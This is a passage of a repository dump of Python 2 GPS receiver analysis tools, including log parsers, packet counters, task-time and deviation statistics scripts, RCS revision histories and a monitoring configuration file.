# print 'excluded prn:', meas.prn
continue
if (meas.pseudorange_sigma >= MIN_PR_SIGMA):
# print 'bad sigma:', meas.pseudorange_sigma
continue
if (not self.use_sbas and is_sbas(meas.prn)):
# print 'sbas prn:', meas.prn
continue
if (elevations[meas.prn] < self.MASK_ANGLE_DEG):
# print 'below mask angle:', elevations[meas.prn]
continue
if (self.test_accuracy and (lock_counts[meas.prn] < SETTLING_TIME_SEC)):
# print 'not steady-state:', lock_count[meas.prn]
continue
# measurement meets all pre-conditions
if self.test_accuracy:
pr_sigma = pr_noise_sigma(meas.prn, self.min_signal)
else:
pr_sigma = meas.pseudorange_sigma_ob
self.add_svdata(self.msg3B.timestamp(), meas.prn, self.tow,
meas.pseudorange, pr_sigma, meas.pseudorange_sigma_ob)
self.cbiases.append(ClockBias(self.tow, 0.0)) # actual clock bias is built into measurements
<file_sep>/rcs/num_meas.py
head 1.2;
branch ;
access ;
symbols 2PXRFS1:1.2 PVTSE_tests:1.2 HT_0113:1.2 TRR1:1.2;
locks ; strict;
comment @@;
1.2
date 2004.10.28.15.31.43; author griffin_g; state In_Progress;
branches ;
next 1.1;
1.1
date 2004.10.22.22.08.23; author griffin_g; state In_Progress;
branches ;
next ;
ext
@project R:/tools/GPS_Host/pytools/pytools.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.2
log
@added printing of packet 0x28 (dwell commands)@
text
@""" Prints the sequence number, the number of measurements, and the PRNs which
have measured each time the number changes """
from xpr_log import Parser
class Num_Meas(Parser):
def __init__(self):
Parser.__init__(self)
self.last_num_meas = 0
self.get_parse_ids_from_handlers()
self.parse_command_line_fnames()
def handle28(self, msg):
print msg.line
def handle30(self, msg):
prns = {}
num_meas = 0
for meas in msg.measurements:
prns[meas.prn] = 1
if meas.validity_mask & 0x08:
num_meas += 1
if num_meas != self.last_num_meas:
prn_list = prns.keys()
prn_list.sort()
print '%06i : %s -> %i' % \
(msg.get_sequence_number(), prn_list, num_meas)
self.last_num_meas = num_meas
if len(prns) == 1:
print msg.get_sequence_number(), 'RXC clock acquisition of PRN', prns.keys()[0]
if __name__ == '__main__':
Num_Meas()@
1.1
log
@Initial revision@
text
@d14 3
d27 1
a27 1
print '%6i : %s -> %i' % \
@
<file_sep>/rcs/bbp_events.py
head 1.2;
branch ;
access ;
symbols 2PXRFS1:1.2 PVTSE_tests:1.2 HT_0113:1.2 TRR1:1.2;
locks ; strict;
comment @@;
1.2
date 2006.04.28.19.28.04; author griffin_g; state In_Progress;
branches ;
next 1.1;
1.1
date 2006.04.13.16.31.51; author griffin_g; state In_Progress;
branches ;
next ;
ext
@project R:/HostTools/HostTools.pj;
@
desc
@@
1.2
log
@@
text
@""" bbp_events: parses an XPR log file and writes data from packet 0x50 to
a text file suitable for use by split_channels.py """
import sys, os.path
from mode_changes import ModeChanges as Parser
class Channel:
def __init__(self):
self.freq_min = 0
self.freq_max = 0
self.code_min = 0
self.code_max = 0
def handle28(self, msg):
# note: this uses the min/max format rather than the center/window
# format of bin_convert.py
self.freq_min = msg.r_dpp - msg.r_frqlim
self.freq_max = msg.r_dpp + msg.r_frqlim
code_center = msg.r_mcntcmd * 0.1
code_window = msg.r_cdlim * 0.1
self.code_min = code_center - code_window
self.code_max = code_center + code_window
class Channels(list):
def __init__(self):
for ii in xrange(24):
self.append(Channel())
class BBP_Events(Parser):
def __init__(self):
Parser.__init__(self)
def parse(self, fname):
self.channels = Channels()
out_fname = os.path.splitext(fname)[0] + '.bbp'
print 'Reading', fname, 'and writing', out_fname, '...',
self.out_f = open(out_fname, 'w')
Parser.parse(self, fname)
self.out_f.close()
print 'done.'
def handle28(self, msg):
self.channels[msg.r_listid - 1].handle28(msg)
def handle50(self, msg):
ch = self.channels[msg.ch_no]
print >> self.out_f, '%6i %2i %3i %5X %4i %3i %6i %6i %6i %4i %4i %6i %5i %4i %4i' % \
( msg.tick_ms, msg.ch_no, msg.prn, msg.mag, 0,
msg.event, msg.info1, msg.info2, msg.freq,
0, msg.phase, ch.freq_min, ch.freq_max, ch.code_min, ch.code_max )
if __name__ == '__main__':
BBP_Events().main('BBP Events') @
1.1
log
@Initial revision@
text
@d1 4
a4 1
import sys
d33 1
a33 1
def __init__(self, inp_fname, out_fname):
d35 2
a36 1
inp_fname = self.convert_log_files([inp_fname])[0]
d38 2
a39 1
print 'Reading', inp_fname, 'and writing', out_fname, '...',
d41 1
a41 1
self.parse(inp_fname)
d56 1
a56 12
# get command-line arguments
try:
inp_fname = sys.argv[1]
except IndexError:
inp_fname = 'rawlog.txt'
try:
out_fname = sys.argv[2]
except IndexError:
out_fname = 'data.txt'
BBP_Events(inp_fname, out_fname) @
<file_sep>/pytools/Other Pytools/tracking_continuity.py
""" Shows when the lock count is reset """
from xpr_log import Parser
class LockChanges(Parser):
def parse(self, fname):
print 'Parsing loss of lock from', fname
self.tracking_state = [4] * 24 # 24 channels
Parser.parse(self, fname)
def handle3A(self, msg):
for stat in msg.channel_stat:
if self.tracking_state[stat.hardware_channel] == 0x04: # if this SV was tracking
if stat.state < self.tracking_state[stat.hardware_channel]:
# BAD - we had lock and have lost it
print '%s: ERROR - we lost lock on channel %i and are now' % \
(msg.timestamp(), stat.hardware_channel),
if stat.state == 0x03:
print 'Costas'
elif stat.state == 0x02:
print 'AFC'
elif stat.state == 0x01:
print 'Search'
elif stat.state == 0x00:
print 'Idle'
else:
print 'ERROR, unknown state code!!!!!'
self.tracking_state[stat.hardware_channel] = -1
elif stat.state == 0x04: #this SV is tracking
if self.tracking_state[stat.hardware_channel] < stat.state:
# GOOD - we have now acquired lock
#print '%s: GOOD - channel %i is now tracking' % \
# (msg.timestamp(), stat.hardware_channel)
self.tracking_state[stat.hardware_channel] = stat.state
if __name__ == '__main__':
LockChanges().main('LockChanges')<file_sep>/pytools/Other Pytools/pr.py
""" pr.py: Generates a command file for pracc.py
Use: pr X
where 'X' is the number of a log file named 'logX.gps'.
"""
__version__ = '$Revision: 1.3 $'
import sys, os
# write command file
log = 'log' + sys.argv[1]
f = open(log + '_in.txt', 'wt')
f.write('.\\sat_data_V1A1.csv\n')
f.write('.\\' + log + '.gps\n')
f.write('min 21\n')
f.write('100.0\n')
f.write('5.0\n')
f.close()
try:
os.unlink(log + '.txt') # delete text version of log file
except WindowsError:
pass
os.system('pracc ' + log + '_in.txt') # call pracc.py
<file_sep>/rcs/arinc_sv_pos.py
head 1.2;
branch ;
access ;
symbols 2PXRFS1:1.2 PVTSE_tests:1.2 HT_0113:1.2 TRR1:1.2;
locks ; strict;
comment @@;
1.2
date 2007.12.19.23.16.20; author Grant.Griffin; state In_Progress;
branches ;
next 1.1;
1.1
date 2007.12.19.21.56.34; author Grant.Griffin; state In_Progress;
branches ;
next ;
ext
@project R:/HostTools/HostTools.pj;
@
desc
@@
1.2
log
@@
text
@import arinc
from arinc_concat_parser import Parser as BaseParser
import truth_log, truth_from_tow, sv_position
class ArincSvPosition(BaseParser):
def __init__(self, truth_fname):
BaseParser.__init__(self)
self.sv_positions = {}
self.truth_parser = truth_from_tow.TruthFromTOW(truth_fname)
def set_ssms_to_parse(self, ssms):
ssms = [arinc.Label.BNR_SSM_NORMAL] # parse normal SSMs only
BaseParser.set_ssms_to_parse(self, ssms)
def handle273(self, label):
"""Handles a (previously collected) set of position labels."""
# get TOW
try:
tow = arinc.utc2tow(self.meas_seconds)
except AttributeError:
return # self.meas_seconds hasn't been set yet
# get truth data for this TOW
tds = self.truth_parser.get_tds(tow)
tdd = truth_log.TruthDataDict(tds)
# print position data for each PRN
print 'Positions at TOW %f:' % (tow, )
prns = self.sv_positions.keys()
prns.sort()
for prn in prns:
(x, y, z) = self.sv_positions[prn]
arinc_svp = sv_position.SvPosition(tow, prn, x, y, z)
print 'ARINC:', arinc_svp
truth_svp = tdd[prn].get_sv_position()
print 'Truth:', truth_svp
interp_arinc_svp = arinc_svp.interp(truth_svp)
print 'Iterp:', interp_arinc_svp
print 'Error:', interp_arinc_svp.delta(truth_svp)
print
# reset SV position data
self.sv_positions = {}
def handle_sv_position(self, x, y, z):
try:
L60 = self(60)
except KeyError:
return # label 060 isn't available
self.sv_positions[L60.SVID] = (x, y, z)
def handle_utc_measurement_time(self, seconds):
self.meas_seconds = seconds
if __name__ == '__main__':
import sys
try:
(arinc_fname, truth_fname) = sys.argv[1:3]
ArincSvPosition(truth_fname).main('ArincSvPosition', arinc_fname)
except IndexError:
print 'Usage: arinc_sv_pos arinc_fname truth_fname'@
1.1
log
@Initial revision@
text
@a32 2
truth_svp = tdd[prn].get_sv_position()
print 'Truth:', truth_svp
d36 2
d40 1
a40 1
print 'Error:', interp_arinc_svp.error(truth_svp)
@
<file_sep>/pytools/Other Pytools/pvt_task_times.py
"""Prints PVT task time statistics using data from packet 0x52"""
import sys
from version_changes import VersionChanges as Parser
import stats
class PVT_Task_Times(Parser):
num_stats = 8
step_descriptions = (
'Start RXC', # 0
'Add measurements to MPP', # 1
'Set MPP reference', # 2
'Preprocess measurements', # 3
'Add measurements to PVT', # 4
'Output satellite data', # 5
'Compute solution', # 6
'Output PVT data' # 7
)
state_names = {
180:'IDLE',
181:'ACQUISITION',
182:'NAVIGATION',
183:'DEAD_RECKON',
184:'TEST'
}
quality_names = (
'UNUSABLE',
'DEGRADED',
'DEAD_RECKON',
'AIDED',
'STANDARD',
'SBAS',
'PECISION_SBAS'
)
def __init__(self):
Parser.__init__(self)
self.out_f = open('pvt_task_times.txt', 'w')
self.times = [[] for ii in xrange(self.num_stats)]
self.max_time = 0
self.last_num_measurements = self.max_num_measurements = 0
def handle30(self, msg):
self.last_num_measurements = 0
for measurement in msg.measurements:
if measurement.validity_mask & 0x08:
self.last_num_measurements += 1
self.max_num_measurements = max(self.max_num_measurements, \
self.last_num_measurements)
def handle52(self, msg):
times = [msg.times[0]]
for ii in xrange(1, self.num_stats):
times.append(msg.times[ii] - msg.times[ii - 1])
for ii in xrange(len(times)):
self.times[ii].append(times[ii])
pvt_task_time = msg.times[self.num_stats - 1]
print >> self.out_f, self.last_num_measurements, pvt_task_time
if pvt_task_time >= self.max_time:
print '%s %-11s %s t=%s=%i sats=%i' % \
(msg.timestamp(), self.state_names[msg.system_state],
self.quality_names[msg.solution_quality], times,
pvt_task_time, self.last_num_measurements)
self.max_time = pvt_task_time
def main(self):
Parser.main(self, 'PVT Task Times')
if not self.times[0]:
print '\nNo PVT task time data was found'
return
hz = round(float(len(self.times[0])) / self.second)
print '\nStatistics from %i samples over %i seconds (%i Hz PVT):\n' % \
(len(self.times[0]), self.second, hz)
print ' min avg max std'
print '-----------------------------------------------'
sum_of_maxes = 0
ii = 0
for times in self.times:
st = stats.Stats(times)
_max = max(times)
sum_of_maxes += _max
print ' %-25s: %3i %4.1f %3i %4.1f' % \
(self.step_descriptions[ii], min(times), st.avg, _max, st.std)
ii += 1
print
print "Max PVT task time:", self.max_time
print "Sum of individual max'es:", sum_of_maxes
print "Maximum number of measurements:", self.max_num_measurements
if __name__ == '__main__':
PVT_Task_Times().main()
<file_sep>/pytools/Other Pytools/compare_deviations.py
"""************************************************************************
Copyright 2012 Honeywell International Inc. All rights reserved
File Name: compare_deviations.py
Description: This script will take PXPRESS log file and the deviations
truth file (created by The Deviate Truth.exe) and compares
the lateral and vertical deviations
Derived from: xpr_log.py
Command-Line Parameters:
1) PXPress Log filename with path in binary format
2) deviations truth file
3) scenario start time (HH:MM:SS)
4) seconds from start of scenario, to start the analysis
5) Output filename with path in CSV format
Output: Difference in deviaitons between actual and expected deviations.
Revision History:
Date Description Name
---------------------------------------------------------------------------
16-Aug-2012 Initial version <NAME>
*************************************************************************"""
from xpr_log import Parser
import sys, math
import datetime
class compare_dev(Parser):
def __init__(self,scn_starttime, seconds_fromstart, out_filename):
self.startsample = False
self.truth = {}
self.samples = []
self.no_of_samples = 0
self.scn_starttime = scn_starttime
self.seconds_fromstart = seconds_fromstart
self.verify_time = self.scn_starttime + datetime.timedelta(seconds=seconds_fromstart)
self.out_filename = out_filename
self.fo = open(self.out_filename, 'w')
print >> self.fo ,'Time,ExpLatDev,ActLatDev,ExpVertDev,ActVertDev,LatErr,LPL,VertErr,VPL'
Parser.__init__(self)
def handle32(self, msg):
if msg.hour == self.verify_time.hour and \
msg.minute == self.verify_time.minute and \
int(msg.second) == self.verify_time.second:
self.startsample = True
self.msg32 = msg
def handle35(self, msg):
if self.startsample \
and self.msg32.hour == self.next_sample_instant.hour \
and self.msg32.minute == self.next_sample_instant.minute \
and math.floor(self.msg32.second) == self.next_sample_instant.second:
self.get_truth_dev(self.next_sample_instant,msg)
self.next_sample_instant = self.next_sample_instant + datetime.timedelta(seconds=1)
self.no_of_samples += 1
#process the samples for 5 minutes
if self.no_of_samples >= 300:
self.fo.close()
exit(0)
# Get the deviations at the specified time by linear interpolation. Interpolation is necessary
# because the sensor reports the deviations at arbitrary fraction of a second, but the truth file
# is at 10Hz rate (100ms boundary)
def get_truth_dev(self, time, msg35):
sample_second = time - self.scn_starttime
truth1 = self.truth[sample_second.seconds]
truth2 = self.truth[sample_second.seconds + .2]
delta_time = self.msg32.second - time.second
lat_dev = truth1[0] + ((truth2[0]-truth1[0])*delta_time/.2)
vert_dev = truth1[1] + ((truth2[1]-truth1[1])*delta_time/.2)
print >> self.fo ,'%s,%f,%f,%f,%f,%f,%f,%f,%f' % (sample_second,\
lat_dev, msg35.horizontal_deviation_rectilinear,\
vert_dev, msg35.vertical_deviation_rectilinear,\
abs(lat_dev - msg35.horizontal_deviation_rectilinear),\
msg35.lateral_protection_level, \
abs(vert_dev - msg35.vertical_deviation_rectilinear),\
msg35.vertical_protection_level)
print sample_second, lat_dev,msg35.horizontal_deviation_rectilinear,vert_dev, msg35.vertical_deviation_rectilinear
# Reads the truth data file and holds it in dictionary
def load_truthdata(self, filename):
for line in open(filename):
fields = line.split(',')
try:
t = float(fields[0]) # Time field
self.truth[t] = (float(fields[5]), float(fields[7])) # Lateral and Vertical deviations
except ValueError:
continue
def processlog(self, filename):
self.next_sample_instant = self.verify_time
print self.next_sample_instant
Parser.main(self,'dev compare',filename)
if __name__ == '__main__':
# Get the Input arguments
Bin_filename = sys.argv[1]
dev_truthfilename = sys.argv[2]
scn_starttime = datetime.datetime.strptime(sys.argv[3], '%H:%M:%S');
seconds_fromstart = int(float(sys.argv[4]))
out_filename = sys.argv[5]
test = compare_dev(scn_starttime, seconds_fromstart, out_filename)
test.load_truthdata(dev_truthfilename)
test.processlog(Bin_filename)
<file_sep>/pytools/Other Pytools/truth_log.py
""" truth_log.py: This module provides a framework for parsing data from
Spirent truth log files. The truth field names are in the second line of the
input truth file, converted to lower case.
Copyright 2007, Honeywell International Inc.
"""
__version__ = '$Revision: 1.3 $'
import sys
import sv_position
class TruthData:
""" Holds data from a single line in the truth file"""
def get_sv_position(self):
return sv_position.SvPosition( \
self.tow, self.sat_prn,
self.sat_pos_x, self.sat_pos_y, self.sat_pos_z,
self.sat_vel_x, self.sat_vel_x, self.sat_vel_z)
class TruthDataDict(dict):
""" A dictionary of TruthData keyed by PRN """
def __init__(self, tds):
for td in tds:
self[td.sat_prn] = td
class Parser:
""" Truth log parser """
SECONDS_PER_WEEK = 7.0 * 24.0 * 3600.0
def __init__(self, fname):
self.fname = fname
# open file for reading
self.f = file(fname, 'rt')
# parse data header in first line
fields = self.f.readline().split(',')
self.start_tow = float(fields[1])
self.interval_ms = float(fields[2])
self.num_channels = int(fields[3])
# parse field-name header in second line to create a list
# of lower-case field names
self.field_names = \
[name.lower() for name in self.f.readline().strip().split(',')]
# print 'field names', self.field_names
# create a dictionary of field indices using the field names
self.field_indices = {}
for i in xrange(len(self.field_names)):
self.field_indices[self.field_names[i]] = i
def parse_line(self, line):
""" Parse and handle a single line from the truth file. """
fields = line.split(',')
# calculate TOW
try:
self.tow = self.start_tow + (float(fields[0]) * 0.001)
except ValueError:
return # from float(fields[0]) of empty fields[0]
self.tow %= self.SECONDS_PER_WEEK
# create a TruthData instance containing the information in the line
td = TruthData()
for name in self.field_indices:
value = float(fields[self.field_indices[name]])
if int(value) == value:
value = int(value)
setattr(td, name, value)
td.tow = self.tow
# store and dispatch the line's TruthData
self.td = td
self.handle(td)
def parse(self):
""" Parse the entire truth file. """
for line in self.f:
self.parse_line(line)
def handle(self, td):
""" Handle truth data from a single line. Override this with your own
handler. """
pass
class TestParser(Parser):
""" Simple parser that prints selected fields of each truth datum. """
def parse(self, selected_fields):
self.selected_fields = [name.lower() for name in selected_fields]
Parser.parse(self)
def handle(self, td):
# print td
print td.tow,
for name in self.selected_fields:
print td[name],
print
if __name__ == '__main__':
p = TestParser(sys.argv[1])
p.parse(sys.argv[2:])<file_sep>/pytools/Other Pytools/arinc_pracc_parser.py
from arinc_concat_parser import ArincConcatParser as Parser
class Measurement:
def __init__(self):
self.prn = 0
self.cn0 = 0
self.pr = 0.0
self.pr_sigma = 0.0
self.time = ''
self.meas_time = 0.0
def __str__(self):
return 'Time=%s MTime=%0.3f PRN=%2d CN0=%2d PR=%0.1f Sigma=%0.1f' % \
(self.time, self.meas_time, self.prn, self.cn0, self.pr,
self.pr_sigma)
class ArincPraccParser(Parser):
def __init__(self):
Parser.__init__(self)
self.m = Measurement()
self.measurement_sets = [[]]
self.time = ''
def handle57(self, label):
print dir(label)
self.m.pr_sigma = label.UserRangeAccuracy
def handle60(self, label):
self.m = Measurement()
self.m.cn0 = label.CN0
self.m.prn = label.SVID
print
print label
def handle74(self, label):
self.m.meas_time = label.UTCMeasurementTime
self.m.time = self.time
self.measurement_sets[-1].append(self.m)
print label
def handlePseudoRange(self, PseudoRange):
self.m.pr = PseudoRange
print 'PseudoRange = ', PseudoRange
def handleTime(self, label):
t = '%02d:%02d:%02f' % (label.Hours, label.Minutes, label.Seconds)
if t != self.time:
self.measurement_sets.append([])
self.time = t
print 'Time =', self.time
def at_main_end(self):
for measurement_set in self.measurement_sets:
for m in measurement_set:
print m
print
if __name__ == '__main__':
ArincPraccParser().main('ArincPraccParser Test', 'export.csv') <file_sep>/pytools/Other Pytools/task_times.py
import sys
import stats, xpr_log
from xpr_log import Parser as Parser
class TaskTimes(Parser):
MS_PER_CYCLE = 1.0 / 200000.0
def __init__(self, fname=''):
Parser.__init__(self)
if (fname):
self.f = open(fname, 'wt')
else:
self.f = sys.stdout
self.columns = []
def main(self, title):
Parser.main(self, title)
# print summary
print '\nNum Min NZMin Avg Max RMS'
for ii in xrange(len(self.columns)):
col = self.columns[ii]
nzmin_col = [x for x in col if x > 0.0]
if not nzmin_col:
nzmin_col = [0.0]
s = stats.Stats(col)
print '%3i %8.3f %8.3f %8.3f %8.3f %8.3f' % \
(ii, min(col), min(nzmin_col), s.avg, max(col), s.rms)
def handle57(self, msg):
print '.',
column_num = 0
while len(self.columns) < len(msg.times):
self.columns.append([])
for ii in xrange(len(msg.times)):
time = msg.times[ii] * self.MS_PER_CYCLE
self.columns[ii].append(time)
print >> self.f, '%6.1f' % (time, ),
print >> self.f
if __name__ == '__main__':
try:
fname = sys.argv[2]
except:
fname = 'task_times.txt'
TaskTimes(fname).main('Task Times')<file_sep>/pytools/Other Pytools/stats.py
""" stats.py: calculates statistics for a list of data values """
__version__ = '$Revision: 1.3 $'
import math
def stats(xs):
""" Returns the average, RMS, standard deviation and skew of a sequence of
values. """
if len(xs) == 0:
return (0.0, 0.0, 0.0, 0.0)
elif len(xs) == 1:
return (xs[0], abs(xs[0]), 0.0, 0.0)
sum_x = sum_x_sqrd = 0.0
for x in xs:
sum_x += x
sum_x_sqrd += x * x
avg = sum_x / len(xs)
rms = math.sqrt(sum_x_sqrd / len(xs))
try:
n = len(xs)
var = (n * sum_x_sqrd - sum_x * sum_x) / (n * (n - 1))
except ZeroDivisionError:
var = 0.0
std = math.sqrt(var)
sum_skew = 0.0
try:
for x in xs:
sum_skew += ((x - avg) / std) ** 3.0
skew = sum_skew / len(xs)
except ZeroDivisionError:
skew = 0.0
return (avg, rms, std, skew)
class Stats:
""" Provides a class wrapper for stats() above. """
def __init__(self, xs):
(self.avg, self.rms, self.std, self.skew) = stats(xs)
if __name__ == '__main__':
xs = [-2.0, -1.75, 1.75, 2.0]
print 'Stats for %s:' % (xs, )
print stats(xs)
<file_sep>/pytools/Other Pytools/count_pkts.py
"""Prints the number of occurrences of each packet in one or more log files."""
import xpr_log
from xpr_log import Parser
class PacketCounts(Parser):
def __init__(self):
Parser.__init__(self)
self.msg_counts = {}
self.parse_command_line_fnames()
keys = self.msg_counts.keys()
keys.sort()
num_bytes = 0
for key in keys:
num_bytes += self.msg_counts[key][1]
print 'Counts for %i messages (%i bytes/%i seconds = %5.1f bytes/sec):' % \
(self.num_parsed, num_bytes, self.second, float(num_bytes) / self.second)
print ' ID count bytes bytes/sec'
print '--------------------------------------'
for key in keys:
(msg_count, byte_count) = self.msg_counts[key]
bytes_per_second = float(byte_count) / self.second
print ' %s : %6i %7i %5.1f' % (key, msg_count, byte_count, bytes_per_second)
def handle(self, msg):
(msg_count, byte_count) = self.msg_counts.get(msg.id, (0, 0))
self.msg_counts[msg.id] = (msg_count + 1, byte_count + msg.get_byte_count())
if __name__ == '__main__':
PacketCounts()<file_sep>/rcs/rawlog.py
head 1.1;
branch ;
access ;
symbols 2PXRFS1:1.1 PVTSE_tests:1.1 HT_0113:1.1 TRR1:1.1;
locks ; strict;
comment @@;
1.1
date 2004.09.10.17.00.52; author griffin_g; state In_Progress;
branches ;
next ;
ext
@project R:/tools/GPS_Host/pytools/pytools.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.1
log
@Initial revision@
text
@import sys, os.path
DLE = chr(0x10)
ETX = chr(0x03)
DLE_DLE = DLE + DLE
DLE_ETX = DLE + ETX
def write_hex(fname, bytes):
print 'Writing hex data to', fname
f = open(fname, 'wt')
byte_num = 0
line = ''
f.write('000000 ');
for byte in bytes:
line += byte
f.write('%02X ' % (ord(byte), ))
byte_num += 1
if (byte_num % 16 == 0):
f.write(' ')
for c in line:
if c >= ' ':
f.write(c)
else:
f.write('.')
f.write('\n%06X ' % (byte_num, ))
line = ''
f.close()
def write_packet(f, packet, offset):
in_packet_30 = (ord(packet[1]) == 0x30)
if in_packet_30:
num_measurements = ord(packet[3])
if num_measurements > 24:
print >> f, 'BAD NUM MEASUREMENTS:', hex(num_measurements)
print 'Found bad num measurements:', hex(num_measurements)
f.write('%06X ' % offset)
for ii in xrange(len(packet)):
f.write('%02X ' % (ord(packet[ii]), ))
if in_packet_30 and ((ii == 3) or ((ii - 3) % 35 == 0)) :
f.write('\n ');
if has_valid_checksum(packet):
print >> f
return 0
else:
print >> f, ': CS BAD'
return 1
def has_valid_checksum(packet):
if len(packet) < 3:
return False
checksum = 0
for byte in packet[:-2]:
checksum ^= ord(byte)
return checksum == 0
def write_packets(fname, bytes):
if len(bytes) < 1:
print 'No packet data to write to', fname
return
print 'Writing packets to', fname
offset = num_bytes = 0
num_bad_checksum = 0
num_packets = 0
packet = ''
escaped = False
ids = {}
f = open(fname, 'wt')
for byte in bytes:
packet += byte
if escaped:
escaped = False
elif len(packet) > 2:
if packet.endswith(DLE_DLE):
packet = packet[:-1] # remove second DLE
escaped = True
elif packet.endswith(DLE_ETX):
if offset: # skip first, probably partial, packet
num_packets += 1
num_bad_checksum += write_packet(f, packet, offset)
id = '0x%02X' % ord(packet[1])
ids[id] = ids.get(id, 0) + 1
packet = ''
escaped = False
offset = num_bytes
num_bytes += 1
f.close()
print 'Found %i bad checksum(s) out of %i (%0.3f%%)' % \
(num_bad_checksum, num_packets, 100.0 * num_bad_checksum / num_packets)
items = ids.items()
items.sort()
print 'Packet ID Counts:'
for item in items:
print ' %s:%-3i' % (item[0], item[1]),
print
def change_ext(fname, ext):
return os.path.splitext(fname)[0] + '.' + ext
def test(fname='rawlog.tst'):
test_pkts = [
[ 0x10, 0x0f, 0x1f, 0x10, 0x03 ],
[ 0x10, 0x03, 0x10,0x10, 0x19, 0x01, 0x03, 0x05, 0x14, 0x14,
0x39, 0x34, 0x10,0x10, 0x10, 0x03 ],
[ 0x10, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x1a, 0x10, 0x03 ],
[ 0x10, 0x09, 0x00, 0x19, 0x10, 0x03],
[ 0x10, 0x09, 0x19, 0x10,0x10, 0x10,0x10, 0x10, 0x03 ],
[ 0x10, 0x27, 0x1e, 0x53, 0x16, 0x00, 0x00, 0x5f, 0xef, 0xff,
0xff, 0xdb, 0x42, 0x2f, 0x00, 0x01, 0x02, 0x00, 0x0d, 0x34,
0x91, 0x29, 0xc9, 0x7f, 0x0c, 0x41, 0xc8, 0xc3, 0xab, 0xac,
0x2b, 0x5e, 0x75, 0x41, 0x37, 0x10, 0x10, 0x03, 0x44, 0x3e,
0x10, 0x03 ],
]
bytes = ''
for pkt in test_pkts:
for byte in pkt:
bytes += chr(byte)
print 'Testing:'
write_packets(fname, bytes)
print
def rawlog(fname):
print '\nReading data from', fname
f = open(fname, 'rb')
bytes = f.read()
f.close()
write_packets(change_ext(fname, 'pkt'), bytes)
write_hex(change_ext(fname, 'hex'), bytes)
if __name__ == '__main__':
## test()
try:
fname = sys.argv[1]
except IndexError:
fname = 'rawlog.gps'
rawlog(fname)
@
<file_sep>/pytools/Other Pytools/bbp_events.py
""" bbp_events: parses an XPR log file and writes data from packet 0x50 to
a text file suitable for use by split_channels.py """
import sys, os.path
from mode_changes import ModeChanges as Parser
class Channel:
def __init__(self):
self.freq_min = 0
self.freq_max = 0
self.code_min = 0
self.code_max = 0
def handle28(self, msg):
# note: this uses the min/max format rather than the center/window
# format of bin_convert.py
self.freq_min = msg.r_dpp - msg.r_frqlim
self.freq_max = msg.r_dpp + msg.r_frqlim
code_center = msg.r_mcntcmd * 0.1
code_window = msg.r_cdlim * 0.1
self.code_min = code_center - code_window
self.code_max = code_center + code_window
class Channels(list):
def __init__(self):
for ii in xrange(24):
self.append(Channel())
class BBP_Events(Parser):
def __init__(self):
Parser.__init__(self)
def parse(self, fname):
self.channels = Channels()
out_fname = os.path.splitext(fname)[0] + '.bbp'
print 'Reading', fname, 'and writing', out_fname, '...',
self.out_f = open(out_fname, 'w')
Parser.parse(self, fname)
self.out_f.close()
print 'done.'
def handle28(self, msg):
self.channels[msg.r_listid - 1].handle28(msg)
def handle50(self, msg):
ch = self.channels[msg.ch_no]
print >> self.out_f, '%6i %2i %3i %5X %4i %3i %6i %6i %6i %4i %4i %6i %5i %4i %4i' % \
( msg.tick_ms, msg.ch_no, msg.prn, msg.mag, 0,
msg.event, msg.info1, msg.info2, msg.freq,
0, msg.phase, ch.freq_min, ch.freq_max, ch.code_min, ch.code_max )
if __name__ == '__main__':
BBP_Events().main('BBP Events') <file_sep>/Config.ini
[Default]
# Drive that the CA is located on
Drive: c:
# Directory that the Remote GNSS files are located on
Directory: .
# Used to grab events - ~1/3 hour in each direction
Factor_Of_Safety: 138.888889
# space is in gigabytes
Max_Event_Space_Folder: 32.0
# space is in gigabytes
Max_Space_For_CA_Logs: 60.0
# Delays full harddrive, but doesn't prevent it
# need to clear out old .gps and .txt files
Notify_When_Percentage_Drive_Full: 90.0
# Kept low so we don't peg out the server
Max_Number_Of_Threads: 4
# Time (int) is based on the server, and this is for every day notifications four digits only
# Only put in time between 0200 and 2200. Other values will never return.
Desired_Notification_Time: 0700
# Time in hours (float) designating how often to find and process new files
Desired_Checking_Time: 0.083
# Email only new faults - If true, then turn off email every 24 hours
Email_Only_New_Faults: True
# Display harddrive space messages
Display_HD_Space_Messages: False
[Notification]
Email_1: <EMAIL>
Email_2: <EMAIL>
Email_3: <EMAIL>
Email_4: <EMAIL>
Email_5: <EMAIL>
Email_6:
[MonitoringStationMode]
DesiredMode: Navigation
# DesiredMode: Precision_SBAS_Navigation
# DesiredMode: GBAS_Navigation
[CaptureFaultLogs]
Capture_MODE_1: True
Capture_MODE_2: True
Capture_ACC_1: False
Capture_ACC_2: False
Capture_ACC_3: False
Capture_ACC_4: False
Capture_ACC_5: False
Capture_INT_1: False
Capture_INT_2: False
Capture_INT_3: False
Capture_INT_4: False<file_sep>/rcs/stats.py
head 1.3;
branch ;
access ;
symbols 2PXRFS1:1.3 PVTSE_tests:1.3 HT_0113:1.3 TRR1:1.3;
locks ; strict;
comment @@;
1.3
date 2007.12.14.21.04.23; author Grant.Griffin; state In_Progress;
branches ;
next 1.2;
1.2
date 2004.11.19.16.16.54; author griffin_g; state In_Progress;
branches ;
next 1.1;
1.1
date 2004.09.22.13.47.40; author griffin_g; state In_Progress;
branches ;
next ;
ext
@project R:/tools/GPS_Host/pytools/pytools.pj;
project R:/HostTools/HostTools.pj;
@
desc
@@
1.3
log
@added __version__ and comments@
text
@""" stats.py: calculates statistics for a list of data values """
__version__ = '$Revision: 1.2 $'
import math
def stats(xs):
""" Returns the average, RMS, standard deviation and skew of a sequence of
values. """
if len(xs) == 0:
return (0.0, 0.0, 0.0, 0.0)
elif len(xs) == 1:
return (xs[0], abs(xs[0]), 0.0, 0.0)
sum_x = sum_x_sqrd = 0.0
for x in xs:
sum_x += x
sum_x_sqrd += x * x
avg = sum_x / len(xs)
rms = math.sqrt(sum_x_sqrd / len(xs))
try:
n = len(xs)
var = (n * sum_x_sqrd - sum_x * sum_x) / (n * (n - 1))
except ZeroDivisionError:
var = 0.0
std = math.sqrt(var)
sum_skew = 0.0
try:
for x in xs:
sum_skew += ((x - avg) / std) ** 3.0
skew = sum_skew / len(xs)
except ZeroDivisionError:
skew = 0.0
return (avg, rms, std, skew)
class Stats:
""" Provides a class wrapper for stats() above. """
def __init__(self, xs):
(self.avg, self.rms, self.std, self.skew) = stats(xs)
if __name__ == '__main__':
xs = [-2.0, -1.75, 1.75, 2.0]
print 'Stats for %s:' % (xs, )
print stats(xs)
@
1.2
log
@added rms output
